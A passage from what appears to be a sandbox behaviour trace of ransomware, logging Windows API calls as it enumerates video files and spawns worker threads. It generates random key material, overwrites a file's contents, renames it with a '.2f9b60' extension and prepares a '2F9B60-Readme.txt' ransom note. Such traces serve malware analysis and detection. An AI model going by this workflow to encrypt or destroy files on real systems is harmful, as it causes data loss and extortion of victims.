HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\GGcritMEr.mkv" [0097.021] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a40b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1040 [0097.021] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1cd63170 | out: lpFindFileData=0x1cd63170*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b3d670, ftCreationTime.dwHighDateTime=0x1d5e058, ftLastAccessTime.dwLowDateTime=0x17fd4ac0, ftLastAccessTime.dwHighDateTime=0x1d5e032, ftLastWriteTime.dwLowDateTime=0x17fd4ac0, ftLastWriteTime.dwHighDateTime=0x1d5e032, nFileSizeHigh=0x0, nFileSizeLow=0xe28, dwReserved0=0x0, dwReserved1=0x0, cFileName="hsHkH4rFv0fmov3.mkv", cAlternateFileName="HSHKH4~1.MKV")) returned 1 [0097.021] wcscmp (_String1="hsHkH4rFv0fmov3.mkv", _String2=".") returned 1 [0097.021] wcscmp (_String1="hsHkH4rFv0fmov3.mkv", _String2="..") returned 1 [0097.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x2027a470 [0097.022] wcscpy (in: _Dest=0x2027a470, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL" [0097.022] wcscat (in: _Dest=0x2027a470, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\" [0097.022] wcscat (in: _Dest=0x2027a470, _Source="hsHkH4rFv0fmov3.mkv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\hsHkH4rFv0fmov3.mkv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\hsHkH4rFv0fmov3.mkv" [0097.022] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027a470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1044 [0097.022] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1cd63170 | out: lpFindFileData=0x1cd63170*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x649ecc20, ftCreationTime.dwHighDateTime=0x1d5e3d7, ftLastAccessTime.dwLowDateTime=0xf0f6aeb0, ftLastAccessTime.dwHighDateTime=0x1d5d8e0, ftLastWriteTime.dwLowDateTime=0xf0f6aeb0, ftLastWriteTime.dwHighDateTime=0x1d5d8e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c84, dwReserved0=0x0, dwReserved1=0x0, cFileName="LF RHCN8 9Xj.avi", cAlternateFileName="LFRHCN~1.AVI")) returned 1 [0097.022] wcscmp (_String1="LF RHCN8 9Xj.avi", _String2=".") returned 1 [0097.022] wcscmp (_String1="LF RHCN8 9Xj.avi", _String2="..") returned 1 [0097.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x2027a510 [0097.023] wcscpy (in: _Dest=0x2027a510, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL" [0097.023] wcscat (in: _Dest=0x2027a510, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\" [0097.023] wcscat (in: _Dest=0x2027a510, _Source="LF RHCN8 9Xj.avi" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\LF RHCN8 9Xj.avi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\LF RHCN8 9Xj.avi" [0097.023] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027a510, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1048 [0097.023] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1cd63170 | out: lpFindFileData=0x1cd63170*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5ed5460, ftCreationTime.dwHighDateTime=0x1d5e32f, ftLastAccessTime.dwLowDateTime=0xe33ef750, ftLastAccessTime.dwHighDateTime=0x1d5e5ba, ftLastWriteTime.dwLowDateTime=0xe33ef750, ftLastWriteTime.dwHighDateTime=0x1d5e5ba, nFileSizeHigh=0x0, nFileSizeLow=0x18a72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OM-EddbKFo.flv", cAlternateFileName="OM-EDD~1.FLV")) returned 1 [0097.023] wcscmp (_String1="OM-EddbKFo.flv", _String2=".") returned 1 [0097.023] wcscmp (_String1="OM-EddbKFo.flv", _String2="..") returned 1 [0097.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a4140 [0097.024] wcscpy (in: _Dest=0x202a4140, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL" [0097.024] wcscat (in: _Dest=0x202a4140, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\" [0097.024] wcscat (in: _Dest=0x202a4140, _Source="OM-EddbKFo.flv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\OM-EddbKFo.flv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\OM-EddbKFo.flv" [0097.024] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a4140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x104c [0097.024] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1cd63170 | out: lpFindFileData=0x1cd63170*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44263100, ftCreationTime.dwHighDateTime=0x1d5dc47, ftLastAccessTime.dwLowDateTime=0x75c2c880, ftLastAccessTime.dwHighDateTime=0x1d5d923, ftLastWriteTime.dwLowDateTime=0x75c2c880, ftLastWriteTime.dwHighDateTime=0x1d5d923, nFileSizeHigh=0x0, nFileSizeLow=0x1486a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Q7GGcCz.mp4", cAlternateFileName="")) returned 1 [0097.024] wcscmp (_String1="Q7GGcCz.mp4", _String2=".") returned 1 [0097.024] wcscmp (_String1="Q7GGcCz.mp4", _String2="..") returned 1 [0097.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202a41d0 [0097.025] wcscpy (in: _Dest=0x202a41d0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL" [0097.025] wcscat (in: _Dest=0x202a41d0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\" [0097.025] wcscat (in: _Dest=0x202a41d0, _Source="Q7GGcCz.mp4" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\Q7GGcCz.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\Q7GGcCz.mp4" [0097.025] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a41d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1050 [0097.026] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1cd63170 | out: lpFindFileData=0x1cd63170*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe16e0990, ftCreationTime.dwHighDateTime=0x1d5e496, ftLastAccessTime.dwLowDateTime=0x2e1929e0, ftLastAccessTime.dwHighDateTime=0x1d5e826, ftLastWriteTime.dwLowDateTime=0x2e1929e0, ftLastWriteTime.dwHighDateTime=0x1d5e826, nFileSizeHigh=0x0, nFileSizeLow=0x1195f, dwReserved0=0x0, dwReserved1=0x0, cFileName="RmJ_rakhj.mkv", cAlternateFileName="RMJ_RA~1.MKV")) returned 1 [0097.026] wcscmp (_String1="RmJ_rakhj.mkv", _String2=".") returned 1 [0097.026] wcscmp (_String1="RmJ_rakhj.mkv", _String2="..") returned 1 [0097.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x202a4260 [0097.026] wcscpy (in: _Dest=0x202a4260, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL" [0097.026] wcscat (in: _Dest=0x202a4260, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\" [0097.026] wcscat (in: _Dest=0x202a4260, _Source="RmJ_rakhj.mkv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\RmJ_rakhj.mkv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\RmJ_rakhj.mkv" [0097.026] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a4260, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1054 [0097.027] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1cd63170 | out: lpFindFileData=0x1cd63170*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4da2f900, ftCreationTime.dwHighDateTime=0x1d5e0e0, ftLastAccessTime.dwLowDateTime=0xb0358bc0, ftLastAccessTime.dwHighDateTime=0x1d5e1bf, ftLastWriteTime.dwLowDateTime=0xb0358bc0, ftLastWriteTime.dwHighDateTime=0x1d5e1bf, nFileSizeHigh=0x0, nFileSizeLow=0x171f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="tY9NMb05H.avi", cAlternateFileName="TY9NMB~1.AVI")) returned 1 [0097.027] wcscmp (_String1="tY9NMb05H.avi", _String2=".") returned 1 [0097.027] wcscmp (_String1="tY9NMb05H.avi", _String2="..") returned 1 [0097.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x202a42f0 [0097.027] wcscpy (in: _Dest=0x202a42f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL" [0097.027] wcscat (in: _Dest=0x202a42f0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\" [0097.027] wcscat (in: _Dest=0x202a42f0, _Source="tY9NMb05H.avi" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\tY9NMb05H.avi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\tY9NMb05H.avi" [0097.027] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a42f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1058 [0097.028] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1cd63170 | out: lpFindFileData=0x1cd63170*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4da2f900, ftCreationTime.dwHighDateTime=0x1d5e0e0, ftLastAccessTime.dwLowDateTime=0xb0358bc0, ftLastAccessTime.dwHighDateTime=0x1d5e1bf, ftLastWriteTime.dwLowDateTime=0xb0358bc0, ftLastWriteTime.dwHighDateTime=0x1d5e1bf, nFileSizeHigh=0x0, nFileSizeLow=0x171f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="tY9NMb05H.avi", cAlternateFileName="TY9NMB~1.AVI")) returned 0 [0097.028] FindClose (in: hFindFile=0x1cd9c970 | out: hFindFile=0x1cd9c970) returned 1 [0097.028] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd63170) returned 1 [0097.028] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866640) returned 1 [0097.028] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8666c0) returned 1 Thread: id = 572 os_tid = 0xeb4 [0094.669] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\zMsRH7lu.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\zmsrh7lu.mp4")) returned 0x20 [0094.669] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\zMsRH7lu.mp4", dwFileAttributes=0x20) returned 1 [0094.669] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\zMsRH7lu.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\zmsrh7lu.mp4"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa9c [0094.670] GetFileSizeEx (in: hFile=0xa9c, lpFileSize=0x25d4f980 | out: lpFileSize=0x25d4f980*=8881) returned 1 [0094.670] SetFilePointerEx (in: hFile=0xa9c, liDistanceToMove=0x22ad, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.670] ReadFile (in: hFile=0xa9c, lpBuffer=0x25d4f900, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x25d4f948, lpOverlapped=0x0 | out: lpBuffer=0x25d4f900*, lpNumberOfBytesRead=0x25d4f948*=0x4, lpOverlapped=0x0) returned 1 [0094.671] SetFilePointerEx (in: hFile=0xa9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.671] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fdf0 [0094.671] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd60 [0094.671] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd00 [0094.671] NtQuerySystemTime (in: CurrentTime=0x25d4f840 | out: CurrentTime=0x25d4f840*=132462177005026000) returned 0x0 [0094.671] RtlRandomEx (in: Seed=0x25d4f830 | out: Seed=0x25d4f830) returned 0x32198b77 [0094.671] RtlRandomEx (in: Seed=0x25d4f830 | out: Seed=0x25d4f830) returned 0x414c9fee [0094.671] RtlRandomEx (in: Seed=0x25d4f830 | out: Seed=0x25d4f830) returned 0x567ae5b3 [0094.671] RtlRandomEx (in: Seed=0x25d4f830 | out: Seed=0x25d4f830) returned 0x10ce5a61 [0094.671] RtlRandomEx (in: Seed=0x25d4f830 | out: Seed=0x25d4f830) returned 0x33a5ec67 [0094.671] RtlRandomEx (in: Seed=0x25d4f830 | out: Seed=0x25d4f830) returned 0x2310d29c [0094.671] RtlRandomEx (in: Seed=0x25d4f830 | out: Seed=0x25d4f830) returned 0x777f578a [0094.671] RtlRandomEx (in: Seed=0x25d4f830 | out: Seed=0x25d4f830) returned 0x7c9a960c [0094.671] RtlRandomEx (in: Seed=0x25d4f830 | out: Seed=0x25d4f830) returned 0x190bd7ff [0094.671] RtlRandomEx (in: Seed=0x25d4f830 | out: Seed=0x25d4f830) returned 0x240725ca [0094.671] RtlRandomEx (in: Seed=0x25d4f830 | out: Seed=0x25d4f830) returned 0x88421c9 [0094.671] RtlRandomEx (in: Seed=0x25d4f830 | out: Seed=0x25d4f830) returned 0x6d3c92fa [0094.671] RtlRandomEx (in: Seed=0x25d4f830 | out: Seed=0x25d4f830) returned 0x3e70e68b [0094.671] RtlRandomEx (in: Seed=0x25d4f830 | out: Seed=0x25d4f830) returned 0x35c94e70 [0094.671] RtlRandomEx (in: Seed=0x25d4f830 | out: Seed=0x25d4f830) returned 0xecfe740 [0094.671] RtlRandomEx (in: Seed=0x25d4f830 | out: Seed=0x25d4f830) returned 0x5e57f6c9 [0094.671] RtlRandomEx (in: Seed=0x25d4f830 | out: Seed=0x25d4f830) returned 0x5e55607e [0094.671] RtlRandomEx (in: Seed=0x25d4f830 | out: Seed=0x25d4f830) returned 0x7c50c016 [0094.672] RtlRandomEx (in: Seed=0x25d4f830 | out: Seed=0x25d4f830) returned 0x23aab04d [0094.672] RtlRandomEx (in: Seed=0x25d4f830 | out: Seed=0x25d4f830) returned 0x8b14519 [0094.672] RtlRandomEx (in: Seed=0x25d4f830 | out: Seed=0x25d4f830) returned 0x2b388b2e [0094.672] RtlRandomEx (in: Seed=0x25d4f830 | out: Seed=0x25d4f830) returned 0x4a766f99 [0094.672] RtlRandomEx (in: Seed=0x25d4f830 | out: Seed=0x25d4f830) returned 0x53731548 [0094.672] RtlRandomEx (in: Seed=0x25d4f830 | out: Seed=0x25d4f830) returned 0x2de531a [0094.672] RtlRandomEx (in: Seed=0x25d4f830 | out: Seed=0x25d4f830) returned 0x390f0a0c [0094.672] RtlRandomEx (in: Seed=0x25d4f830 | out: Seed=0x25d4f830) returned 0x40662b83 [0094.672] RtlRandomEx (in: Seed=0x25d4f830 | out: Seed=0x25d4f830) returned 0x3f508b12 [0094.672] RtlRandomEx (in: Seed=0x25d4f830 | out: Seed=0x25d4f830) returned 0x32fd62f7 [0094.672] RtlRandomEx (in: Seed=0x25d4f830 | out: Seed=0x25d4f830) returned 0x2c2a7be0 [0094.672] RtlRandomEx (in: Seed=0x25d4f830 | out: Seed=0x25d4f830) returned 0x5fbd5ebb [0094.672] RtlRandomEx (in: Seed=0x25d4f830 | out: Seed=0x25d4f830) returned 0x76c30c7a [0094.672] RtlRandomEx (in: Seed=0x25d4f830 | out: Seed=0x25d4f830) returned 0x10571254 [0094.680] ReadFile (in: hFile=0xa9c, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x22b1, lpNumberOfBytesRead=0x25d4f830, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x25d4f830*=0x22b1, lpOverlapped=0x0) returned 1 [0094.681] SetFilePointerEx (in: hFile=0xa9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.681] WriteFile (in: hFile=0xa9c, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x22b1, lpNumberOfBytesWritten=0x25d4f834, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x25d4f834*=0x22b1, lpOverlapped=0x0) returned 1 [0094.683] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fdf0 [0094.683] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd00 [0094.684] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fd00) returned 1 [0094.684] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0094.684] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201ee130) returned 1 [0094.684] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8664c0) returned 1 [0094.684] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0094.684] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b85fd00 [0094.684] SetFilePointerEx (in: hFile=0xa9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0094.684] WriteFile (in: hFile=0xa9c, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x25d4f950, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x25d4f950*=0x10a, lpOverlapped=0x0) returned 1 [0094.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0094.686] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8664c0 [0094.686] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc70 [0094.686] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fc70) returned 1 [0094.686] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0094.686] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc70 [0094.686] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb20 [0094.686] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fb20) returned 1 [0094.686] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8664c0) returned 1 [0094.686] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0094.686] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f270 [0094.686] sprintf (in: _Dest=0x1cd9f270, _Format="%c%c" | out: _Dest="6c") returned 2 [0094.686] sprintf (in: _Dest=0x1cd9f272, _Format="%c%c" | out: _Dest="76") returned 2 [0094.686] sprintf (in: _Dest=0x1cd9f274, _Format="%c%c" | out: _Dest="79") returned 2 [0094.686] sprintf (in: _Dest=0x1cd9f276, _Format="%c%c" | out: _Dest="4a") returned 2 [0094.686] sprintf (in: _Dest=0x1cd9f278, _Format="%c%c" | out: _Dest="39") returned 2 [0094.686] sprintf (in: _Dest=0x1cd9f27a, _Format="%c%c" | out: _Dest="77") returned 2 [0094.686] sprintf (in: _Dest=0x1cd9f27c, _Format="%c%c" | out: _Dest="fa") returned 2 [0094.686] sprintf (in: _Dest=0x1cd9f27e, _Format="%c%c" | out: _Dest="71") returned 2 [0094.686] sprintf (in: _Dest=0x1cd9f280, _Format="%c%c" | out: _Dest="52") returned 2 [0094.687] sprintf (in: _Dest=0x1cd9f282, _Format="%c%c" | out: _Dest="37") returned 2 [0094.687] sprintf (in: _Dest=0x1cd9f284, _Format="%c%c" | out: _Dest="cc") returned 2 [0094.687] sprintf (in: _Dest=0x1cd9f286, _Format="%c%c" | out: _Dest="92") returned 2 [0094.687] sprintf (in: _Dest=0x1cd9f288, _Format="%c%c" | out: _Dest="c3") returned 2 [0094.687] sprintf (in: _Dest=0x1cd9f28a, _Format="%c%c" | out: _Dest="1e") returned 2 [0094.687] sprintf (in: _Dest=0x1cd9f28c, _Format="%c%c" | out: _Dest="1b") returned 2 [0094.687] sprintf (in: _Dest=0x1cd9f28e, _Format="%c%c" | out: _Dest="b7") returned 2 [0094.687] sprintf (in: _Dest=0x1cd9f290, _Format="%c%c" | out: _Dest="1d") returned 2 [0094.687] sprintf (in: _Dest=0x1cd9f292, _Format="%c%c" | out: _Dest="0e") returned 2 [0094.687] sprintf (in: _Dest=0x1cd9f294, _Format="%c%c" | out: _Dest="23") returned 2 [0094.687] sprintf (in: _Dest=0x1cd9f296, _Format="%c%c" | out: _Dest="72") returned 2 [0094.687] sprintf (in: _Dest=0x1cd9f298, _Format="%c%c" | out: _Dest="c4") returned 2 [0094.687] sprintf (in: _Dest=0x1cd9f29a, _Format="%c%c" | out: _Dest="8f") returned 2 [0094.687] sprintf (in: _Dest=0x1cd9f29c, _Format="%c%c" | out: _Dest="bc") returned 2 [0094.687] sprintf (in: _Dest=0x1cd9f29e, _Format="%c%c" | out: _Dest="2f") returned 2 [0094.687] RtlInitAnsiString (in: DestinationString=0x25d4f9c8, SourceString="6c76794a3977fa715237cc92c31e1bb71d0e2372c48fbc2f" | out: DestinationString="6c76794a3977fa715237cc92c31e1bb71d0e2372c48fbc2f") [0094.687] RtlAnsiStringToUnicodeString (in: DestinationString=0x25d4f998, SourceString="6c76794a3977fa715237cc92c31e1bb71d0e2372c48fbc2f", AllocateDestinationString=1 | out: DestinationString="6c76794a3977fa715237cc92c31e1bb71d0e2372c48fbc2f") returned 0x0 [0094.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b86edb0 [0094.687] wcscat (in: _Dest=0x1b8664c0, _Source="6c76794a3977" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6c76794a3977") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6c76794a3977" [0094.688] wcscat (in: _Dest=0x1b8664c0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6c76794a3977.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6c76794a3977.2f9b60" [0094.688] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6c76794a3977.2f9b60", NtPathName=0x25d4f970, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6c76794a3977.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0094.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1b7ad2a0 [0094.690] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0094.690] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0094.690] NtQueryInformationFile (in: FileHandle=0xa9c, IoStatusBlock=0x25d4f9d8, FileInformation=0x25d4f9e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x25d4f9d8, FileInformation=0x25d4f9e8) returned 0x0 [0094.690] NtSetInformationFile (FileHandle=0xa9c, IoStatusBlock=0x25d4f9d8, FileInformation=0x25d4f9e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0094.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8664c0) returned 1 [0094.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86edb0) returned 1 [0094.691] FlushFileBuffers (hFile=0xa9c) returned 1 [0094.692] CloseHandle (hObject=0xa9c) returned 1 [0094.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8664c0 [0094.694] wcscpy (in: _Dest=0x1b8664c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0094.694] wcscat (in: _Dest=0x1b8664c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2F9B60-Readme.txt" [0094.694] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\2f9b60-readme.txt")) 